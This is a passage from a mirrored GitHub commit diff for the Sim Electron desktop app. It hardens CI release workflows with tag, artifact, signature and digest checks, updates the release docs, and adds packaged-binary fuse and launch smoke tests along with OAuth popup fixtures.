mirror of
https://github.com/simstudioai/sim.git
synced 2026-10-30 19:32:46 +08:00
fix(desktop): harden browser and runtime hygiene (#7152)
* fix(desktop): harden browser and runtime hygiene * fix(desktop): close review edge cases * fix(desktop): make server relaunch transactional * fix(desktop): close final lifecycle edge cases * fix(desktop): preserve committed relaunch recovery * fix(desktop): make committed relaunch non-vetoable
This commit is contained in:
@@ -1,13 +1,27 @@
|
||||
name: Desktop E2E
|
||||
|
||||
# Smoke coverage of the real Electron shell, plus an advisory canary leg
|
||||
# against electron@latest so Chromium-cadence breakage surfaces before an
|
||||
# upgrade is attempted (U18/U22).
|
||||
#
|
||||
# Manual-only for now: the desktop app is tested locally, so the
|
||||
# pull_request trigger is disabled until desktop CI is turned back on.
|
||||
# Smoke coverage of the real Electron shell on desktop changes, plus a weekly
|
||||
# advisory canary against electron@latest so Chromium-cadence breakage surfaces
|
||||
# before an upgrade is attempted.
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
paths:
|
||||
- '.github/workflows/desktop-e2e.yml'
|
||||
- '.github/workflows/desktop-release.yml'
|
||||
- 'apps/desktop/**'
|
||||
- 'apps/sim/public/brand/fonts/**'
|
||||
- 'packages/desktop-bridge/**'
|
||||
- 'packages/browser-protocol/**'
|
||||
- 'packages/terminal-protocol/**'
|
||||
- 'packages/logger/**'
|
||||
- 'packages/security/**'
|
||||
- 'packages/tsconfig/**'
|
||||
- 'packages/utils/**'
|
||||
- 'bun.lock'
|
||||
- 'package.json'
|
||||
schedule:
|
||||
- cron: '23 9 * * 1'
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
@@ -18,14 +32,10 @@ concurrency:
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
e2e:
|
||||
name: E2E (${{ matrix.electron }})
|
||||
e2e-pinned:
|
||||
name: E2E (pinned)
|
||||
if: github.event_name != 'schedule'
|
||||
runs-on: macos-26
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
electron: [pinned, latest]
|
||||
continue-on-error: ${{ matrix.electron == 'latest' }}
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
|
||||
@@ -38,10 +48,42 @@ jobs:
|
||||
- name: Install dependencies
|
||||
run: bun install --frozen-lockfile
|
||||
|
||||
- name: Switch to electron@latest (canary)
|
||||
if: matrix.electron == 'latest'
|
||||
- name: Bundle main and preload
|
||||
working-directory: apps/desktop
|
||||
run: bun add -d electron@latest
|
||||
run: bun run build
|
||||
|
||||
- name: Run Playwright _electron smoke suite
|
||||
working-directory: apps/desktop
|
||||
run: bunx playwright test
|
||||
|
||||
- name: Upload test results
|
||||
if: failure()
|
||||
uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
|
||||
with:
|
||||
name: desktop-e2e-results-pinned
|
||||
path: apps/desktop/test-results
|
||||
retention-days: 7
|
||||
|
||||
e2e-latest-canary:
|
||||
name: E2E (electron@latest canary)
|
||||
if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch'
|
||||
runs-on: macos-26
|
||||
continue-on-error: true
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
|
||||
|
||||
- name: Setup Bun
|
||||
uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 # v2
|
||||
with:
|
||||
bun-version: 1.3.14
|
||||
|
||||
- name: Install dependencies
|
||||
run: bun install --frozen-lockfile
|
||||
|
||||
- name: Switch to electron@latest
|
||||
working-directory: apps/desktop
|
||||
run: bun add --no-save -d electron@latest
|
||||
|
||||
- name: Bundle main and preload
|
||||
working-directory: apps/desktop
|
||||
@@ -53,14 +95,15 @@ jobs:
|
||||
|
||||
- name: Upload test results
|
||||
if: failure()
|
||||
uses: actions/upload-artifact@v4
|
||||
uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
|
||||
with:
|
||||
name: desktop-e2e-results-${{ matrix.electron }}
|
||||
name: desktop-e2e-results-latest
|
||||
path: apps/desktop/test-results
|
||||
retention-days: 7
|
||||
|
||||
package-smoke:
|
||||
name: Unsigned package smoke
|
||||
if: github.event_name != 'schedule'
|
||||
runs-on: macos-26
|
||||
steps:
|
||||
- name: Checkout code
|
||||
@@ -72,7 +115,7 @@ jobs:
|
||||
bun-version: 1.3.14
|
||||
|
||||
- name: Setup Node
|
||||
uses: actions/setup-node@v4
|
||||
uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
|
||||
with:
|
||||
node-version: 22
|
||||
|
||||
@@ -85,4 +128,20 @@ jobs:
|
||||
CSC_IDENTITY_AUTO_DISCOVERY: 'false'
|
||||
run: |
|
||||
bun run build
|
||||
bunx electron-builder --mac dir --publish never
|
||||
bunx electron-builder --mac dir --universal --publish never \
|
||||
-c.mac.identity=- -c.mac.hardenedRuntime=false
|
||||
|
||||
- name: Run packaged Electron smoke suite
|
||||
working-directory: apps/desktop
|
||||
run: |
|
||||
APP_BUNDLE="$(find release -maxdepth 2 -name '*.app' -print -quit)"
|
||||
if [ -z "$APP_BUNDLE" ]; then
|
||||
echo "::error::Packaged app bundle was not found."
|
||||
exit 1
|
||||
fi
|
||||
EXECUTABLE="$(find "$APP_BUNDLE/Contents/MacOS" -maxdepth 1 -type f -perm -111 -print -quit)"
|
||||
if [ -z "$EXECUTABLE" ]; then
|
||||
echo "::error::Packaged app executable was not found."
|
||||
exit 1
|
||||
fi
|
||||
SIM_DESKTOP_EXECUTABLE="$EXECUTABLE" bunx playwright test e2e/packaged-smoke.spec.ts
|
||||
|
||||
@@ -53,6 +53,9 @@ jobs:
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
|
||||
with:
|
||||
fetch-depth: 0
|
||||
ref: ${{ github.event_name == 'workflow_dispatch' && inputs.version || github.sha }}
|
||||
|
||||
# Prerelease versions carry their environment in the tag: -dev.N is a
|
||||
# dev build, -staging.N a staging build. Legacy -alpha/-beta tags remain
|
||||
@@ -82,6 +85,34 @@ jobs:
|
||||
} >> "$GITHUB_OUTPUT"
|
||||
echo "Building $NAME ($APP_ID) for $RELEASE_REPOSITORY; default origin: ${ORIGIN:-production}"
|
||||
|
||||
- name: Validate release source
|
||||
env:
|
||||
PUBLISH: ${{ inputs.publish }}
|
||||
SIGN: ${{ inputs.sign }}
|
||||
TOKEN_KIND: ${{ steps.channel.outputs.token_kind }}
|
||||
VERSION: ${{ inputs.version }}
|
||||
run: |
|
||||
if ! [[ "$VERSION" =~ ^v[0-9]+\.[0-9]+\.[0-9]+(-[0-9A-Za-z.-]+)?$ ]]; then
|
||||
echo "::error::Refusing to build: '$VERSION' is not a vX.Y.Z release tag."
|
||||
exit 1
|
||||
fi
|
||||
if [ "$GITHUB_EVENT_NAME" = workflow_dispatch ] && [ "$TOKEN_KIND" != stable ]; then
|
||||
echo "::error::Manual desktop releases must use a stable source-repository tag."
|
||||
exit 1
|
||||
fi
|
||||
if [ "$TOKEN_KIND" = stable ] && [ "$PUBLISH" = true ] && [ "$SIGN" != true ]; then
|
||||
echo "::error::Stable desktop releases must be signed before publication."
|
||||
exit 1
|
||||
fi
|
||||
if [ "$TOKEN_KIND" = stable ]; then
|
||||
TAG_COMMIT="$(git rev-parse "refs/tags/${VERSION}^{commit}")"
|
||||
HEAD_COMMIT="$(git rev-parse HEAD)"
|
||||
if [ "$TAG_COMMIT" != "$HEAD_COMMIT" ]; then
|
||||
echo "::error::Requested tag $VERSION points to $TAG_COMMIT, but the checkout is $HEAD_COMMIT."
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
- name: Validate release authentication
|
||||
if: ${{ inputs.publish }}
|
||||
env:
|
||||
@@ -100,12 +131,12 @@ jobs:
|
||||
bun-version: 1.3.14
|
||||
|
||||
- name: Setup Node
|
||||
uses: actions/setup-node@v4
|
||||
uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
|
||||
with:
|
||||
node-version: 22
|
||||
|
||||
- name: Cache Electron binaries
|
||||
uses: actions/cache@v4
|
||||
uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4
|
||||
with:
|
||||
path: |
|
||||
~/Library/Caches/electron
|
||||
@@ -120,23 +151,33 @@ jobs:
|
||||
VERSION: ${{ inputs.version }}
|
||||
run: |
|
||||
SEMVER="${VERSION#v}"
|
||||
if ! [[ "$SEMVER" =~ ^[0-9]+\.[0-9]+\.[0-9]+([-.].+)?$ ]]; then
|
||||
echo "Refusing to build: '$VERSION' is not a vX.Y.Z release tag" >&2
|
||||
exit 1
|
||||
fi
|
||||
npm pkg set version="$SEMVER" --prefix apps/desktop
|
||||
cd apps/desktop
|
||||
bun pm pkg set version="$SEMVER"
|
||||
cd ../..
|
||||
INJECTED="$(node -p "require('./apps/desktop/package.json').version")"
|
||||
if [ "$INJECTED" != "$SEMVER" ]; then
|
||||
echo "Version injection mismatch: wanted $SEMVER got $INJECTED" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
- name: Verify desktop source
|
||||
run: |
|
||||
bun run --cwd apps/desktop lint:check
|
||||
bun run --cwd apps/desktop type-check
|
||||
bun run --cwd apps/desktop test
|
||||
|
||||
- name: Bundle main and preload
|
||||
working-directory: apps/desktop
|
||||
env:
|
||||
SIM_DESKTOP_DEFAULT_ORIGIN: ${{ steps.channel.outputs.origin }}
|
||||
run: bun run build
|
||||
|
||||
- name: Run Electron smoke tests
|
||||
working-directory: apps/desktop
|
||||
env:
|
||||
SIM_DESKTOP_DEFAULT_ORIGIN: ${{ steps.channel.outputs.origin }}
|
||||
run: bun run test:e2e
|
||||
|
||||
- name: Write App Store Connect API key
|
||||
if: ${{ inputs.sign }}
|
||||
env:
|
||||
@@ -165,8 +206,9 @@ jobs:
|
||||
-c.productName="$PRODUCT_NAME" -c.appId="$APP_ID"
|
||||
|
||||
# Unsigned prerelease path: no Developer ID, no notarization. The
|
||||
# binaries end up ad-hoc/linker-signed, which runs locally but gets
|
||||
# quarantined when downloaded — fine for testing the update pipeline.
|
||||
# binaries are explicitly ad-hoc signed with Hardened Runtime off, which
|
||||
# runs locally but gets quarantined when downloaded — fine for testing
|
||||
# the update pipeline without Developer ID credentials.
|
||||
- name: Package unsigned
|
||||
if: ${{ !inputs.sign }}
|
||||
working-directory: apps/desktop
|
||||
@@ -176,17 +218,106 @@ jobs:
|
||||
APP_ID: ${{ steps.channel.outputs.app_id }}
|
||||
run: >
|
||||
bunx electron-builder --mac --publish never -c.mac.notarize=false
|
||||
-c.mac.identity=- -c.mac.hardenedRuntime=false
|
||||
-c.productName="$PRODUCT_NAME" -c.appId="$APP_ID"
|
||||
|
||||
- name: Validate packaged artifacts
|
||||
env:
|
||||
VERSION: ${{ inputs.version }}
|
||||
run: |
|
||||
SEMVER="${VERSION#v}"
|
||||
RELEASE_DIR=apps/desktop/release
|
||||
YML="$(find "$RELEASE_DIR" -maxdepth 1 -name '*-mac.yml' -print)"
|
||||
if [ "$(printf '%s\n' "$YML" | sed '/^$/d' | wc -l | tr -d ' ')" != 1 ]; then
|
||||
echo "::error::Expected exactly one updater manifest in $RELEASE_DIR."
|
||||
exit 1
|
||||
fi
|
||||
if [ "$(basename "$YML")" != latest-mac.yml ]; then
|
||||
mv "$YML" "$RELEASE_DIR/latest-mac.yml"
|
||||
fi
|
||||
ARTIFACTS=(
|
||||
"$RELEASE_DIR/Sim-${SEMVER}-universal.dmg"
|
||||
"$RELEASE_DIR/Sim-${SEMVER}-universal.dmg.blockmap"
|
||||
"$RELEASE_DIR/Sim-${SEMVER}-universal.zip"
|
||||
"$RELEASE_DIR/Sim-${SEMVER}-universal.zip.blockmap"
|
||||
"$RELEASE_DIR/latest-mac.yml"
|
||||
)
|
||||
for ARTIFACT in "${ARTIFACTS[@]}"; do
|
||||
if [ ! -f "$ARTIFACT" ]; then
|
||||
echo "::error::Expected desktop artifact is missing: $ARTIFACT"
|
||||
exit 1
|
||||
fi
|
||||
done
|
||||
if [ "$(find "$RELEASE_DIR" -maxdepth 1 \( -name '*.dmg' -o -name '*.zip' -o -name '*.blockmap' \) | wc -l | tr -d ' ')" != 4 ]; then
|
||||
echo "::error::Unexpected package artifacts were produced; refusing a wildcard upload."
|
||||
find "$RELEASE_DIR" -maxdepth 1 -type f -print
|
||||
exit 1
|
||||
fi
|
||||
if ! grep -Fxq "version: $SEMVER" "$RELEASE_DIR/latest-mac.yml"; then
|
||||
echo "::error::Updater manifest version does not match $VERSION."
|
||||
exit 1
|
||||
fi
|
||||
URLS="$(sed -nE 's/^[[:space:]]*(-[[:space:]]*)?url:[[:space:]]*([^[:space:]]+)[[:space:]]*$/\2/p' "$RELEASE_DIR/latest-mac.yml" | sort)"
|
||||
EXPECTED_URLS="$(printf '%s\n' "Sim-${SEMVER}-universal.zip" "Sim-${SEMVER}-universal.dmg" | sort)"
|
||||
if [ "$URLS" != "$EXPECTED_URLS" ]; then
|
||||
echo "::error::Updater manifest contains unexpected artifact URLs."
|
||||
exit 1
|
||||
fi
|
||||
if ! grep -Fxq "path: Sim-${SEMVER}-universal.zip" "$RELEASE_DIR/latest-mac.yml"; then
|
||||
echo "::error::Updater manifest path does not reference the verified zip artifact."
|
||||
exit 1
|
||||
fi
|
||||
hdiutil verify "$RELEASE_DIR/Sim-${SEMVER}-universal.dmg"
|
||||
unzip -tq "$RELEASE_DIR/Sim-${SEMVER}-universal.zip"
|
||||
|
||||
- name: Validate signature and notarization
|
||||
if: ${{ inputs.sign }}
|
||||
env:
|
||||
VERSION: ${{ inputs.version }}
|
||||
run: |
|
||||
DMG="$(ls apps/desktop/release/*.dmg | head -1)"
|
||||
hdiutil attach "$DMG" -mountpoint /tmp/sim-dmg -nobrowse -quiet
|
||||
xcrun stapler validate /tmp/sim-dmg/*.app
|
||||
spctl --assess --type execute --verbose /tmp/sim-dmg/*.app
|
||||
codesign --verify --deep --strict /tmp/sim-dmg/*.app
|
||||
hdiutil detach /tmp/sim-dmg -quiet
|
||||
SEMVER="${VERSION#v}"
|
||||
DMG="apps/desktop/release/Sim-${SEMVER}-universal.dmg"
|
||||
ZIP="apps/desktop/release/Sim-${SEMVER}-universal.zip"
|
||||
MOUNT_POINT="$RUNNER_TEMP/sim-dmg"
|
||||
ZIP_DIR="$(mktemp -d "$RUNNER_TEMP/sim-zip.XXXXXX")"
|
||||
mkdir -p "$MOUNT_POINT"
|
||||
hdiutil attach "$DMG" -mountpoint "$MOUNT_POINT" -nobrowse -quiet
|
||||
trap 'hdiutil detach "$MOUNT_POINT" -quiet || true; rm -rf "$ZIP_DIR"' EXIT
|
||||
APP_BUNDLE="$(find "$MOUNT_POINT" -maxdepth 1 -name '*.app' -print -quit)"
|
||||
if [ -z "$APP_BUNDLE" ]; then
|
||||
echo "::error::The signed DMG does not contain an app bundle."
|
||||
exit 1
|
||||
fi
|
||||
xcrun stapler validate "$APP_BUNDLE"
|
||||
spctl --assess --type execute --verbose "$APP_BUNDLE"
|
||||
codesign --verify --deep --strict "$APP_BUNDLE"
|
||||
unzip -q "$ZIP" -d "$ZIP_DIR"
|
||||
ZIP_APP="$(find "$ZIP_DIR" -maxdepth 2 -name '*.app' -print -quit)"
|
||||
if [ -z "$ZIP_APP" ]; then
|
||||
echo "::error::The updater ZIP does not contain an app bundle."
|
||||
exit 1
|
||||
fi
|
||||
xcrun stapler validate "$ZIP_APP"
|
||||
spctl --assess --type execute --verbose "$ZIP_APP"
|
||||
codesign --verify --deep --strict "$ZIP_APP"
|
||||
hdiutil detach "$MOUNT_POINT" -quiet
|
||||
rm -rf "$ZIP_DIR"
|
||||
trap - EXIT
|
||||
|
||||
- name: Run packaged Electron smoke suite
|
||||
working-directory: apps/desktop
|
||||
run: |
|
||||
APP_BUNDLE="$(find release -maxdepth 2 -name '*.app' -print -quit)"
|
||||
if [ -z "$APP_BUNDLE" ]; then
|
||||
echo "::error::Packaged app bundle was not found."
|
||||
exit 1
|
||||
fi
|
||||
EXECUTABLE="$(find "$APP_BUNDLE/Contents/MacOS" -maxdepth 1 -type f -perm -111 -print -quit)"
|
||||
if [ -z "$EXECUTABLE" ]; then
|
||||
echo "::error::Packaged app executable was not found."
|
||||
exit 1
|
||||
fi
|
||||
SIM_DESKTOP_EXECUTABLE="$EXECUTABLE" bunx playwright test e2e/packaged-smoke.spec.ts
|
||||
|
||||
- name: Upload artifacts to the release
|
||||
if: ${{ inputs.publish }}
|
||||
@@ -209,35 +340,51 @@ jobs:
|
||||
exit 1
|
||||
fi
|
||||
export GH_TOKEN
|
||||
# electron-builder's GitHub provider always names the manifest
|
||||
# latest-mac.yml (channels are a generic-provider concept), and the
|
||||
# update feed expects exactly that asset name on every release —
|
||||
# normalize defensively in case a config change ever produces a
|
||||
# channel-named manifest.
|
||||
YML="$(find apps/desktop/release -maxdepth 1 -name '*-mac.yml' | head -1)"
|
||||
if [ -z "$YML" ]; then
|
||||
echo "::error::No *-mac.yml updater manifest found in apps/desktop/release"
|
||||
if ! gh release view "$VERSION" --repo "$RELEASE_REPOSITORY" >/dev/null; then
|
||||
echo "::error::Release $VERSION does not exist in $RELEASE_REPOSITORY."
|
||||
exit 1
|
||||
fi
|
||||
if [ "$(basename "$YML")" != "latest-mac.yml" ]; then
|
||||
mv "$YML" apps/desktop/release/latest-mac.yml
|
||||
fi
|
||||
gh release upload "$VERSION" \
|
||||
apps/desktop/release/*.dmg \
|
||||
apps/desktop/release/*.zip \
|
||||
apps/desktop/release/*.blockmap \
|
||||
apps/desktop/release/latest-mac.yml \
|
||||
--repo "$RELEASE_REPOSITORY" \
|
||||
--clobber
|
||||
SEMVER="${VERSION#v}"
|
||||
ARTIFACTS=(
|
||||
"apps/desktop/release/Sim-${SEMVER}-universal.dmg"
|
||||
"apps/desktop/release/Sim-${SEMVER}-universal.dmg.blockmap"
|
||||
"apps/desktop/release/Sim-${SEMVER}-universal.zip"
|
||||
"apps/desktop/release/Sim-${SEMVER}-universal.zip.blockmap"
|
||||
"apps/desktop/release/latest-mac.yml"
|
||||
)
|
||||
upload_or_verify() {
|
||||
local ARTIFACT="$1"
|
||||
local NAME SIZE DIGEST RELEASE_JSON REMOTE REMOTE_SIZE REMOTE_DIGEST
|
||||
NAME="$(basename "$ARTIFACT")"
|
||||
SIZE="$(stat -f%z "$ARTIFACT")"
|
||||
DIGEST="sha256:$(shasum -a 256 "$ARTIFACT" | awk '{print $1}')"
|
||||
RELEASE_JSON="$(gh api "repos/${RELEASE_REPOSITORY}/releases/tags/${VERSION}")"
|
||||
REMOTE="$(jq -c --arg name "$NAME" '.assets[] | select(.name == $name)' <<< "$RELEASE_JSON")"
|
||||
if [ -n "$REMOTE" ]; then
|
||||
REMOTE_SIZE="$(jq -r '.size' <<< "$REMOTE")"
|
||||
REMOTE_DIGEST="$(jq -r '.digest // empty' <<< "$REMOTE")"
|
||||
if [ "$REMOTE_SIZE" != "$SIZE" ] || [ "$REMOTE_DIGEST" != "$DIGEST" ]; then
|
||||
echo "::error::Existing release asset $NAME does not match this build."
|
||||
exit 1
|
||||
fi
|
||||
echo "Verified existing release asset $NAME; skipping upload."
|
||||
return
|
||||
fi
|
||||
gh release upload "$VERSION" "$ARTIFACT" --repo "$RELEASE_REPOSITORY"
|
||||
}
|
||||
for ARTIFACT in "${ARTIFACTS[@]:0:4}"; do
|
||||
upload_or_verify "$ARTIFACT"
|
||||
done
|
||||
upload_or_verify "${ARTIFACTS[4]}"
|
||||
|
||||
- name: Upload artifacts to the workflow run
|
||||
if: ${{ !inputs.publish }}
|
||||
uses: actions/upload-artifact@v4
|
||||
uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
|
||||
with:
|
||||
name: sim-desktop-${{ inputs.version }}
|
||||
path: |
|
||||
apps/desktop/release/*.dmg
|
||||
apps/desktop/release/*.zip
|
||||
apps/desktop/release/*.blockmap
|
||||
apps/desktop/release/*-mac.yml
|
||||
apps/desktop/release/latest-mac.yml
|
||||
retention-days: 7
|
||||
|
||||
@@ -104,10 +104,10 @@ Pre-release share (no Developer ID yet): `SIM_DESKTOP_DEFAULT_ORIGIN=https://www
|
||||
The build also derives the app icon from `SIM_DESKTOP_DEFAULT_ORIGIN`. Every channel uses the exact production icon with its white background and black `sim` mark. Non-production channels add a thin outline using existing platform colors: dev uses orange, staging uses Loop blue, and localhost uses Workflow violet. The macOS menu-bar icon also carries a compact `D`, `S`, or `L` subscript for those environments; production remains unmarked. Native Icon Composer assets live in `build/`; `scripts/build.ts` copies the selected variant to the ignored `build/generated-icon.icon` path consumed by electron-builder. Electron-builder compiles it to `Assets.car` and derives the legacy `.icns` fallback from the same source. Matching 512px PNGs in `static/` provide the Dock icon for unpackaged runs.
|
||||
|
||||
CI (`.github/workflows/desktop-release.yml`, wired into `ci.yml`):
|
||||
- Stable builds run only after `create-release` on a `vX.Y.Z:` commit to main — **never before**: `scripts/create-single-release.ts` skips creation if the tag exists, so a desktop job publishing first would eat the changelog. Stable assets remain on `simstudioai/sim`; dev/staging assets publish to the public `simstudioai/sim-desktop-releases` repository so source-repository followers are not notified for internal shell builds. The job builds `--publish never` and uploads assets with `gh release upload --clobber` (idempotent re-runs).
|
||||
- Stable builds run only after `create-release` on a `vX.Y.Z:` commit to main — **never before**: `scripts/create-single-release.ts` skips creation if the tag exists, so a desktop job publishing first would eat the changelog. Stable assets remain on `simstudioai/sim`; dev/staging assets publish to the public `simstudioai/sim-desktop-releases` repository so source-repository followers are not notified for internal shell builds. The job builds `--publish never`; reruns verify the size and SHA-256 digest of existing release assets instead of overwriting them.
|
||||
- **Secrets gate**: `check-desktop-signing` in `ci.yml` probes the six Apple secrets and skips the desktop job with a warning until they exist — releases never fail on a missing Apple account, and the first release after the secrets land ships desktop artifacts automatically. Manual/one-off builds: Actions → "Desktop Release (macOS)" → Run workflow with a `vX.Y.Z` version (`publish: false` uploads artifacts to the run instead of the release).
|
||||
- The product semver is **injected** from the release tag into `apps/desktop/package.json` at build time (repo package versions are placeholders). A mismatch guard fails the build.
|
||||
- Fuses are flipped at package time (`electronFuses` in `electron-builder.yml`): runAsNode off, NODE_OPTIONS off, inspect args off, ASAR-only + integrity validation, cookie encryption on, `strictlyRequireAllFuses` so new fuses fail loudly on Electron bumps.
|
||||
- Fuses are flipped at package time (`electronFuses` in `electron-builder.yml`): runAsNode off, NODE_OPTIONS off, inspect args off, ASAR-only + integrity validation, and cookie encryption on. The packaged smoke test asserts every fuse byte so Electron upgrades fail until new fuses receive an explicit policy.
|
||||
- **Cookie-encryption go/no-go**: on every Electron bump, verify a packaged build keeps its session across relaunch (there are historical cookie-persistence bugs with the `EnableCookieEncryption` fuse). If it reproduces, set `enableCookieEncryption: false` and record it here.
|
||||
|
||||
Required repo secrets (owner: whoever holds the Apple Developer account; calendar the expiries — an expired cert/API key breaks every release):
|
||||
|
||||
@@ -4,7 +4,7 @@ The rendering-parity guarantee (identical to Chrome of the pinned version) is on
|
||||
|
||||
1. **Read the release notes.** Electron breaking-changes page for the target major, plus its Chromium/Node versions. Note anything touching: session/cookies, permissions, `setWindowOpenHandler`, `will-navigate`/`will-redirect`, preload/sandbox, `net`/loopback, fuses.
|
||||
2. **Bump the pin** in `apps/desktop/package.json` (exact version), `bun install`, `bun run type-check && bun run test`.
|
||||
3. **Fuses:** the build sets `strictlyRequireAllFuses` — if `electron-builder` fails on a new fuse, decide its state explicitly in `electron-builder.yml` rather than loosening the strict flag.
|
||||
3. **Fuses:** the packaged smoke test asserts the complete fuse wire. Decide the policy for every new fuse, configure it in `electron-builder.yml` when supported, and update the expected wire only after verifying the packaged binary.
|
||||
4. **Cookie-encryption go/no-go:** packaged build → sign in → quit → relaunch → still signed in. If the session is lost, flip `enableCookieEncryption: false`, file it in the README, and retest.
|
||||
5. **Manual spot-checks (packaged build):**
|
||||
- Google sign-in via the system-browser handoff (127.0.0.1 loopback callback → token redeem).
|
||||
|
||||
@@ -0,0 +1,84 @@
|
||||
import { spawn } from 'node:child_process'
|
||||
import { once } from 'node:events'
|
||||
import { existsSync, mkdtempSync, readFileSync, rmSync } from 'node:fs'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { FuseV1Options, FuseVersion, getCurrentFuseWire } from '@electron/fuses'
|
||||
import { expect, test } from '@playwright/test'
|
||||
|
||||
const FUSE_DISABLED = '0'.charCodeAt(0)
|
||||
const FUSE_ENABLED = '1'.charCodeAt(0)
|
||||
const ELECTRON_43_WASM_TRAP_HANDLERS_FUSE = 8
|
||||
|
||||
const EXPECTED_FUSE_POLICY = [
|
||||
[FuseV1Options.RunAsNode, FUSE_DISABLED],
|
||||
[FuseV1Options.EnableCookieEncryption, FUSE_ENABLED],
|
||||
[FuseV1Options.EnableNodeOptionsEnvironmentVariable, FUSE_DISABLED],
|
||||
[FuseV1Options.EnableNodeCliInspectArguments, FUSE_DISABLED],
|
||||
[FuseV1Options.EnableEmbeddedAsarIntegrityValidation, FUSE_ENABLED],
|
||||
[FuseV1Options.OnlyLoadAppFromAsar, FUSE_ENABLED],
|
||||
[FuseV1Options.LoadBrowserProcessSpecificV8Snapshot, FUSE_DISABLED],
|
||||
[FuseV1Options.GrantFileProtocolExtraPrivileges, FUSE_DISABLED],
|
||||
[ELECTRON_43_WASM_TRAP_HANDLERS_FUSE, FUSE_ENABLED],
|
||||
] as const
|
||||
|
||||
test.skip(
|
||||
!process.env.SIM_DESKTOP_EXECUTABLE,
|
||||
'Packaged smoke runs only after the desktop executable has been built'
|
||||
)
|
||||
|
||||
test('packaged Electron binary has the production fuse policy', async () => {
|
||||
const executablePath = process.env.SIM_DESKTOP_EXECUTABLE
|
||||
if (!executablePath) throw new Error('SIM_DESKTOP_EXECUTABLE is required')
|
||||
|
||||
const fuses = await getCurrentFuseWire(executablePath)
|
||||
expect(fuses.version).toBe(FuseVersion.V1)
|
||||
const fuseIndexes = Object.keys(fuses)
|
||||
.filter((key) => /^\d+$/.test(key))
|
||||
.map(Number)
|
||||
|
||||
expect(fuseIndexes).toEqual(EXPECTED_FUSE_POLICY.map(([index]) => index))
|
||||
for (const [index, state] of EXPECTED_FUSE_POLICY) {
|
||||
expect(Reflect.get(fuses, index)).toBe(state)
|
||||
}
|
||||
})
|
||||
|
||||
test('packaged main process starts and records launch telemetry', async () => {
|
||||
const executablePath = process.env.SIM_DESKTOP_EXECUTABLE
|
||||
if (!executablePath) throw new Error('SIM_DESKTOP_EXECUTABLE is required')
|
||||
const userDataPath = mkdtempSync(join(tmpdir(), 'sim-desktop-packaged-e2e-'))
|
||||
const child = spawn(executablePath, [], {
|
||||
env: {
|
||||
...process.env,
|
||||
SIM_DESKTOP_ORIGIN: 'http://127.0.0.1:1',
|
||||
SIM_DESKTOP_USER_DATA: userDataPath,
|
||||
},
|
||||
stdio: 'ignore',
|
||||
})
|
||||
const eventLogPath = join(userDataPath, 'logs', 'desktop-events.log')
|
||||
|
||||
try {
|
||||
await expect
|
||||
.poll(
|
||||
() => {
|
||||
if (child.exitCode !== null || child.signalCode !== null) {
|
||||
throw new Error(
|
||||
`Packaged app exited with ${child.exitCode ?? child.signalCode ?? 'unknown status'}`
|
||||
)
|
||||
}
|
||||
return (
|
||||
existsSync(eventLogPath) && readFileSync(eventLogPath, 'utf8').includes('app_launch')
|
||||
)
|
||||
},
|
||||
{ timeout: 10_000 }
|
||||
)
|
||||
.toBe(true)
|
||||
} finally {
|
||||
if (child.exitCode === null && child.signalCode === null) {
|
||||
const exited = once(child, 'exit')
|
||||
child.kill('SIGKILL')
|
||||
await exited
|
||||
}
|
||||
rmSync(userDataPath, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
@@ -14,6 +14,8 @@ const PAGES: Record<string, string> = {
|
||||
<h1 id="app">fixture-app</h1>
|
||||
<button id="internal-blank" onclick="window.open('/workspace/two', '_blank')">internal</button>
|
||||
<button id="external-blank" onclick="window.open('https://docs.sim.ai/x', '_blank')">external</button>
|
||||
<button id="mcp-popup" onclick="window.open('/mcp', 'mcp-oauth-fixture')">mcp</button>
|
||||
<button id="external-navigate" onclick="location.href='https://docs.sim.ai/navigation'">navigate</button>
|
||||
</body></html>`,
|
||||
'/workspace/two': '<!doctype html><html><body><h1 id="two">second-route</h1></body></html>',
|
||||
'/login': '<!doctype html><html><body><h1 id="login">fixture-login</h1></body></html>',
|
||||
@@ -23,7 +25,16 @@ function startFixtureServer(): Promise<{ server: Server; origin: string }> {
|
||||
return new Promise((resolvePromise) => {
|
||||
const server = createServer((request, response) => {
|
||||
const path = new URL(request.url ?? '/', 'http://127.0.0.1').pathname
|
||||
const body = PAGES[path]
|
||||
const sessionCookie = request.headers.cookie
|
||||
?.split(';')
|
||||
.map((cookie) => cookie.trim())
|
||||
.includes('sim-e2e-session=shared')
|
||||
const body =
|
||||
path === '/mcp'
|
||||
? sessionCookie
|
||||
? '<!doctype html><html><body><h1 id="mcp">oauth-popup</h1></body></html>'
|
||||
: '<!doctype html><html><body><h1 id="unauthorized">sign-in-required</h1></body></html>'
|
||||
: PAGES[path]
|
||||
if (!body) {
|
||||
response.writeHead(404, { 'Content-Type': 'text/html' }).end('<h1>not found</h1>')
|
||||
return
|
||||
@@ -105,6 +116,43 @@ test.describe('desktop shell smoke', () => {
|
||||
await expect(window.locator('#app')).toHaveText('fixture-app')
|
||||
})
|
||||
|
||||
test('OAuth popups share the session without inheriting the privileged preload', async () => {
|
||||
app = await launchApp(origin)
|
||||
const window = await app.firstWindow()
|
||||
await window.evaluate(() => {
|
||||
